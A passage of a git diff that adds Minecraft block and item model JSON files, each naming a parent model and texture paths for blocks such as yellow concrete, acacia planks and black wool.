a/src/assets/minecraft/models/block/yellow_carpet.json b/src/assets/minecraft/models/block/yellow_carpet.json new file mode 100644 index 00000000..7d08c9e1 --- /dev/null +++ b/src/assets/minecraft/models/block/yellow_carpet.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/carpet", + "textures": { + "wool": "minecraft:block/yellow_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/yellow_concrete.json b/src/assets/minecraft/models/block/yellow_concrete.json new file mode 100644 index 00000000..b8981524 --- /dev/null +++ b/src/assets/minecraft/models/block/yellow_concrete.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/yellow_concrete" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/yellow_concrete_powder.json b/src/assets/minecraft/models/block/yellow_concrete_powder.json new file mode 100644 index 00000000..8882b67b --- /dev/null +++ b/src/assets/minecraft/models/block/yellow_concrete_powder.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/yellow_concrete_powder" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/yellow_glazed_terracotta.json b/src/assets/minecraft/models/block/yellow_glazed_terracotta.json new file mode 100644 index 00000000..fa60d0dc --- /dev/null +++ b/src/assets/minecraft/models/block/yellow_glazed_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glazed_terracotta", + "textures": { + "pattern": "minecraft:block/yellow_glazed_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/yellow_shulker_box.json b/src/assets/minecraft/models/block/yellow_shulker_box.json new file mode 100644 index 00000000..c54fe67c --- /dev/null +++ b/src/assets/minecraft/models/block/yellow_shulker_box.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/yellow_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/yellow_stained_glass.json b/src/assets/minecraft/models/block/yellow_stained_glass.json new file mode 100644 index 00000000..cd225fdc --- /dev/null +++ b/src/assets/minecraft/models/block/yellow_stained_glass.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/yellow_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/yellow_stained_glass_pane_noside.json b/src/assets/minecraft/models/block/yellow_stained_glass_pane_noside.json new file mode 100644 index 00000000..d8c22613 --- /dev/null +++ b/src/assets/minecraft/models/block/yellow_stained_glass_pane_noside.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside", + "textures": { + "pane": "minecraft:block/yellow_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/yellow_stained_glass_pane_noside_alt.json b/src/assets/minecraft/models/block/yellow_stained_glass_pane_noside_alt.json new file mode 100644 index 00000000..668a6ef2 --- /dev/null +++ b/src/assets/minecraft/models/block/yellow_stained_glass_pane_noside_alt.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside_alt", + "textures": { + "pane": "minecraft:block/yellow_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/yellow_stained_glass_pane_post.json b/src/assets/minecraft/models/block/yellow_stained_glass_pane_post.json new file mode 100644 index 00000000..ae9637be --- /dev/null +++ b/src/assets/minecraft/models/block/yellow_stained_glass_pane_post.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_post", + "textures": { + "pane": "minecraft:block/yellow_stained_glass", + "edge": "minecraft:block/yellow_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/yellow_stained_glass_pane_side.json b/src/assets/minecraft/models/block/yellow_stained_glass_pane_side.json new file mode 100644 index 00000000..23efb094 --- /dev/null +++ b/src/assets/minecraft/models/block/yellow_stained_glass_pane_side.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side", + "textures": { + "pane": "minecraft:block/yellow_stained_glass", + "edge": "minecraft:block/yellow_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/yellow_stained_glass_pane_side_alt.json b/src/assets/minecraft/models/block/yellow_stained_glass_pane_side_alt.json new file mode 100644 index 00000000..6eb5727e --- /dev/null +++ b/src/assets/minecraft/models/block/yellow_stained_glass_pane_side_alt.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side_alt", + "textures": { + "pane": "minecraft:block/yellow_stained_glass", + "edge": "minecraft:block/yellow_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/yellow_terracotta.json b/src/assets/minecraft/models/block/yellow_terracotta.json new file mode 100644 index 00000000..8f3e76ee --- /dev/null +++ b/src/assets/minecraft/models/block/yellow_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/yellow_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/yellow_wool.json b/src/assets/minecraft/models/block/yellow_wool.json new file mode 100644 index 00000000..2f0dab36 --- /dev/null +++ b/src/assets/minecraft/models/block/yellow_wool.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/yellow_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/acacia_boat.json b/src/assets/minecraft/models/item/acacia_boat.json new file mode 100644 index 00000000..5b93e986 --- /dev/null +++ b/src/assets/minecraft/models/item/acacia_boat.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/acacia_boat" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/acacia_button.json b/src/assets/minecraft/models/item/acacia_button.json new file mode 100644 index 00000000..d5affffa --- /dev/null +++ b/src/assets/minecraft/models/item/acacia_button.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/acacia_button_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/acacia_door.json b/src/assets/minecraft/models/item/acacia_door.json new file mode 100644 index 00000000..7ecc5bbd --- /dev/null +++ b/src/assets/minecraft/models/item/acacia_door.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/acacia_door" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/acacia_fence.json b/src/assets/minecraft/models/item/acacia_fence.json new file mode 100644 index 00000000..4db3c891 --- /dev/null +++ b/src/assets/minecraft/models/item/acacia_fence.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/acacia_fence_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/acacia_fence_gate.json b/src/assets/minecraft/models/item/acacia_fence_gate.json new file mode 100644 index 00000000..f5875533 --- /dev/null +++ b/src/assets/minecraft/models/item/acacia_fence_gate.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/acacia_fence_gate" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/acacia_leaves.json b/src/assets/minecraft/models/item/acacia_leaves.json new file mode 100644 index 00000000..b1ef8fa9 --- /dev/null +++ b/src/assets/minecraft/models/item/acacia_leaves.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/acacia_leaves" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/acacia_log.json b/src/assets/minecraft/models/item/acacia_log.json new file mode 100644 index 00000000..0b9f607e --- /dev/null +++ b/src/assets/minecraft/models/item/acacia_log.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/acacia_log" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/acacia_planks.json b/src/assets/minecraft/models/item/acacia_planks.json new file mode 100644 index 00000000..3c90abef --- /dev/null +++ b/src/assets/minecraft/models/item/acacia_planks.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/acacia_planks" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/acacia_pressure_plate.json b/src/assets/minecraft/models/item/acacia_pressure_plate.json new file mode 100644 index 00000000..318e49ad --- /dev/null +++ b/src/assets/minecraft/models/item/acacia_pressure_plate.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/acacia_pressure_plate" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/acacia_sapling.json b/src/assets/minecraft/models/item/acacia_sapling.json new file mode 100644 index 00000000..89e55791 --- /dev/null +++ b/src/assets/minecraft/models/item/acacia_sapling.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/acacia_sapling" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/acacia_sign.json b/src/assets/minecraft/models/item/acacia_sign.json new file mode 100644 index 00000000..05032df9 --- /dev/null +++ b/src/assets/minecraft/models/item/acacia_sign.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/acacia_sign" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/acacia_slab.json b/src/assets/minecraft/models/item/acacia_slab.json new file mode 100644 index 00000000..bb3480c7 --- /dev/null +++ b/src/assets/minecraft/models/item/acacia_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/acacia_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/acacia_stairs.json b/src/assets/minecraft/models/item/acacia_stairs.json new file mode 100644 index 00000000..58ab5e2d --- /dev/null +++ b/src/assets/minecraft/models/item/acacia_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/acacia_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/acacia_trapdoor.json b/src/assets/minecraft/models/item/acacia_trapdoor.json new file mode 100644 index 00000000..701a6862 --- /dev/null +++ b/src/assets/minecraft/models/item/acacia_trapdoor.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/acacia_trapdoor_bottom" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/acacia_wood.json b/src/assets/minecraft/models/item/acacia_wood.json new file mode 100644 index 00000000..4a5086de --- /dev/null +++ b/src/assets/minecraft/models/item/acacia_wood.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/acacia_wood" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/activator_rail.json b/src/assets/minecraft/models/item/activator_rail.json new file mode 100644 index 00000000..9ae2bd07 --- /dev/null +++ b/src/assets/minecraft/models/item/activator_rail.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/activator_rail" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/air.json b/src/assets/minecraft/models/item/air.json new file mode 100644 index 00000000..2c63c085 --- /dev/null +++ b/src/assets/minecraft/models/item/air.json @@ -0,0 +1,2 @@ +{ +} diff --git a/src/assets/minecraft/models/item/allium.json b/src/assets/minecraft/models/item/allium.json new file mode 100644 index 00000000..cf132b4b --- /dev/null +++ b/src/assets/minecraft/models/item/allium.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/allium" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/ancient_debris.json b/src/assets/minecraft/models/item/ancient_debris.json new file mode 100644 index 00000000..f8c6c3d5 --- /dev/null +++ b/src/assets/minecraft/models/item/ancient_debris.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/ancient_debris" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/andesite.json b/src/assets/minecraft/models/item/andesite.json new file mode 100644 index 00000000..d6b76e17 --- /dev/null +++ b/src/assets/minecraft/models/item/andesite.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/andesite" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/andesite_slab.json b/src/assets/minecraft/models/item/andesite_slab.json new file mode 100644 index 00000000..4bd78770 --- /dev/null +++ b/src/assets/minecraft/models/item/andesite_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/andesite_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/andesite_stairs.json b/src/assets/minecraft/models/item/andesite_stairs.json new file mode 100644 index 00000000..03e452df --- /dev/null +++ b/src/assets/minecraft/models/item/andesite_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/andesite_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/andesite_wall.json b/src/assets/minecraft/models/item/andesite_wall.json new file mode 100644 index 00000000..f10f1ec3 --- /dev/null +++ b/src/assets/minecraft/models/item/andesite_wall.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/andesite_wall_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/anvil.json b/src/assets/minecraft/models/item/anvil.json new file mode 100644 index 00000000..9168b26b --- /dev/null +++ b/src/assets/minecraft/models/item/anvil.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/anvil" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/apple.json b/src/assets/minecraft/models/item/apple.json new file mode 100644 index 00000000..c314b058 --- /dev/null +++ b/src/assets/minecraft/models/item/apple.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/apple" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/armor_stand.json b/src/assets/minecraft/models/item/armor_stand.json new file mode 100644 index 00000000..f8f34a7b --- /dev/null +++ b/src/assets/minecraft/models/item/armor_stand.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/armor_stand" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/arrow.json b/src/assets/minecraft/models/item/arrow.json new file mode 100644 index 00000000..37689ea0 --- /dev/null +++ b/src/assets/minecraft/models/item/arrow.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/arrow" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/azure_bluet.json b/src/assets/minecraft/models/item/azure_bluet.json new file mode 100644 index 00000000..5d472515 --- /dev/null +++ b/src/assets/minecraft/models/item/azure_bluet.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/azure_bluet" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/baked_potato.json b/src/assets/minecraft/models/item/baked_potato.json new file mode 100644 index 00000000..b9324fe7 --- /dev/null +++ b/src/assets/minecraft/models/item/baked_potato.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/baked_potato" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/bamboo.json b/src/assets/minecraft/models/item/bamboo.json new file mode 100644 index 00000000..2a46e1c3 --- /dev/null +++ b/src/assets/minecraft/models/item/bamboo.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/bamboo" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/barrel.json b/src/assets/minecraft/models/item/barrel.json new file mode 100644 index 00000000..553ec3e0 --- /dev/null +++ b/src/assets/minecraft/models/item/barrel.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/barrel" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/barrier.json b/src/assets/minecraft/models/item/barrier.json new file mode 100644 index 00000000..080cff20 --- /dev/null +++ b/src/assets/minecraft/models/item/barrier.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/barrier" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/basalt.json b/src/assets/minecraft/models/item/basalt.json new file mode 100644 index 00000000..eaa67e62 --- /dev/null +++ b/src/assets/minecraft/models/item/basalt.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/basalt" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/bat_spawn_egg.json b/src/assets/minecraft/models/item/bat_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/bat_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/beacon.json b/src/assets/minecraft/models/item/beacon.json new file mode 100644 index 00000000..b6a014e6 --- /dev/null +++ b/src/assets/minecraft/models/item/beacon.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/beacon" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/bedrock.json b/src/assets/minecraft/models/item/bedrock.json new file mode 100644 index 00000000..c1b8427e --- /dev/null +++ b/src/assets/minecraft/models/item/bedrock.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/bedrock" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/bee_nest.json b/src/assets/minecraft/models/item/bee_nest.json new file mode 100644 index 00000000..3298365a --- /dev/null +++ b/src/assets/minecraft/models/item/bee_nest.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/bee_nest" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/bee_spawn_egg.json b/src/assets/minecraft/models/item/bee_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/bee_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/beef.json b/src/assets/minecraft/models/item/beef.json new file mode 100644 index 00000000..5545b3c8 --- /dev/null +++ b/src/assets/minecraft/models/item/beef.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/beef" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/beehive.json b/src/assets/minecraft/models/item/beehive.json new file mode 100644 index 00000000..cf1475c3 --- /dev/null +++ b/src/assets/minecraft/models/item/beehive.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/beehive" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/beetroot.json b/src/assets/minecraft/models/item/beetroot.json new file mode 100644 index 00000000..dcc7276a --- /dev/null +++ b/src/assets/minecraft/models/item/beetroot.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/beetroot" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/beetroot_seeds.json b/src/assets/minecraft/models/item/beetroot_seeds.json new file mode 100644 index 00000000..d20b2cd4 --- /dev/null +++ b/src/assets/minecraft/models/item/beetroot_seeds.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/beetroot_seeds" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/beetroot_soup.json b/src/assets/minecraft/models/item/beetroot_soup.json new file mode 100644 index 00000000..3a0755d6 --- /dev/null +++ b/src/assets/minecraft/models/item/beetroot_soup.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/beetroot_soup" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/bell.json b/src/assets/minecraft/models/item/bell.json new file mode 100644 index 00000000..fe24c1f4 --- /dev/null +++ b/src/assets/minecraft/models/item/bell.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/bell" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/birch_boat.json b/src/assets/minecraft/models/item/birch_boat.json new file mode 100644 index 00000000..20f68b32 --- /dev/null +++ b/src/assets/minecraft/models/item/birch_boat.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/birch_boat" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/birch_button.json b/src/assets/minecraft/models/item/birch_button.json new file mode 100644 index 00000000..f0065c47 --- /dev/null +++ b/src/assets/minecraft/models/item/birch_button.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/birch_button_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/birch_door.json b/src/assets/minecraft/models/item/birch_door.json new file mode 100644 index 00000000..2b0e4f91 --- /dev/null +++ b/src/assets/minecraft/models/item/birch_door.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/birch_door" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/birch_fence.json b/src/assets/minecraft/models/item/birch_fence.json new file mode 100644 index 00000000..ca097fb1 --- /dev/null +++ b/src/assets/minecraft/models/item/birch_fence.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/birch_fence_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/birch_fence_gate.json b/src/assets/minecraft/models/item/birch_fence_gate.json new file mode 100644 index 00000000..732026b8 --- /dev/null +++ b/src/assets/minecraft/models/item/birch_fence_gate.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/birch_fence_gate" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/birch_leaves.json b/src/assets/minecraft/models/item/birch_leaves.json new file mode 100644 index 00000000..4f543d46 --- /dev/null +++ b/src/assets/minecraft/models/item/birch_leaves.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/birch_leaves" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/birch_log.json b/src/assets/minecraft/models/item/birch_log.json new file mode 100644 index 00000000..cd42b0b7 --- /dev/null +++ b/src/assets/minecraft/models/item/birch_log.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/birch_log" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/birch_planks.json b/src/assets/minecraft/models/item/birch_planks.json new file mode 100644 index 00000000..06e3a6d3 --- /dev/null +++ b/src/assets/minecraft/models/item/birch_planks.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/birch_planks" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/birch_pressure_plate.json b/src/assets/minecraft/models/item/birch_pressure_plate.json new file mode 100644 index 00000000..e8dfb642 --- /dev/null +++ b/src/assets/minecraft/models/item/birch_pressure_plate.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/birch_pressure_plate" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/birch_sapling.json b/src/assets/minecraft/models/item/birch_sapling.json new file mode 100644 index 00000000..3c45f3b6 --- /dev/null +++ b/src/assets/minecraft/models/item/birch_sapling.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/birch_sapling" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/birch_sign.json b/src/assets/minecraft/models/item/birch_sign.json new file mode 100644 index 00000000..d10beadc --- /dev/null +++ b/src/assets/minecraft/models/item/birch_sign.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/birch_sign" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/birch_slab.json b/src/assets/minecraft/models/item/birch_slab.json new file mode 100644 index 00000000..c17a8e79 --- /dev/null +++ b/src/assets/minecraft/models/item/birch_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/birch_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/birch_stairs.json b/src/assets/minecraft/models/item/birch_stairs.json new file mode 100644 index 00000000..ec8fd2b9 --- /dev/null +++ b/src/assets/minecraft/models/item/birch_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/birch_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/birch_trapdoor.json b/src/assets/minecraft/models/item/birch_trapdoor.json new file mode 100644 index 00000000..7db49741 --- /dev/null +++ b/src/assets/minecraft/models/item/birch_trapdoor.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/birch_trapdoor_bottom" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/birch_wood.json b/src/assets/minecraft/models/item/birch_wood.json new file mode 100644 index 00000000..cd1881b0 --- /dev/null +++ b/src/assets/minecraft/models/item/birch_wood.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/birch_wood" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/black_banner.json b/src/assets/minecraft/models/item/black_banner.json new file mode 100644 index 00000000..661a106d --- /dev/null +++ b/src/assets/minecraft/models/item/black_banner.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_banner" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/black_bed.json b/src/assets/minecraft/models/item/black_bed.json new file mode 100644 index 00000000..c8757a9a --- /dev/null +++ b/src/assets/minecraft/models/item/black_bed.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_bed", + "textures": { + "particle": "minecraft:block/black_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/black_carpet.json b/src/assets/minecraft/models/item/black_carpet.json new file mode 100644 index 00000000..618d2130 --- /dev/null +++ b/src/assets/minecraft/models/item/black_carpet.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/black_carpet" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/black_concrete.json b/src/assets/minecraft/models/item/black_concrete.json new file mode 100644 index 00000000..eb5aadc3 --- /dev/null +++ b/src/assets/minecraft/models/item/black_concrete.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/black_concrete" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/black_concrete_powder.json b/src/assets/minecraft/models/item/black_concrete_powder.json new file mode 100644 index 00000000..03af09ea --- /dev/null +++ b/src/assets/minecraft/models/item/black_concrete_powder.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/black_concrete_powder" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/black_dye.json b/src/assets/minecraft/models/item/black_dye.json new file mode 100644 index 00000000..0502b405 --- /dev/null +++ b/src/assets/minecraft/models/item/black_dye.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/black_dye" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/black_glazed_terracotta.json b/src/assets/minecraft/models/item/black_glazed_terracotta.json new file mode 100644 index 00000000..e1f73ff8 --- /dev/null +++ b/src/assets/minecraft/models/item/black_glazed_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/black_glazed_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/black_shulker_box.json b/src/assets/minecraft/models/item/black_shulker_box.json new file mode 100644 index 00000000..5f45328d --- /dev/null +++ b/src/assets/minecraft/models/item/black_shulker_box.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_shulker_box", + "textures": { + "particle": "minecraft:block/black_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/black_stained_glass.json b/src/assets/minecraft/models/item/black_stained_glass.json new file mode 100644 index 00000000..dfc8fab3 --- /dev/null +++ b/src/assets/minecraft/models/item/black_stained_glass.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/black_stained_glass" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/black_stained_glass_pane.json b/src/assets/minecraft/models/item/black_stained_glass_pane.json new file mode 100644 index 00000000..75081749 --- /dev/null +++ b/src/assets/minecraft/models/item/black_stained_glass_pane.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/black_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/black_terracotta.json b/src/assets/minecraft/models/item/black_terracotta.json new file mode 100644 index 00000000..eee57e8e --- /dev/null +++ b/src/assets/minecraft/models/item/black_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/black_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/black_wool.json b/src/assets/minecraft/models/item/black_wool.json new file mode 100644 index 00000000..a0e49abc --- /dev/null +++ b/src/assets/minecraft/models/item/black_wool.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/black_wool" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/blackstone.json b/src/assets/minecraft/models/item/blackstone.json new file mode 100644 index 00000000..e4defbd6 --- /dev/null +++ b/src/assets/minecraft/models/item/blackstone.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/blackstone" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/blackstone_slab.json b/src/assets/minecraft/models/item/blackstone_slab.json new file mode 100644 index 00000000..481376f4 --- /dev/null +++ b/src/assets/minecraft/models/item/blackstone_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/blackstone_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/blackstone_stairs.json b/src/assets/minecraft/models/item/blackstone_stairs.json new file mode 100644 index 00000000..83a61e18 --- /dev/null +++ b/src/assets/minecraft/models/item/blackstone_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/blackstone_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/blackstone_wall.json b/src/assets/minecraft/models/item/blackstone_wall.json new file mode 100644 index 00000000..8c2bc6d6 --- /dev/null +++ b/src/assets/minecraft/models/item/blackstone_wall.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/blackstone_wall_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/blast_furnace.json 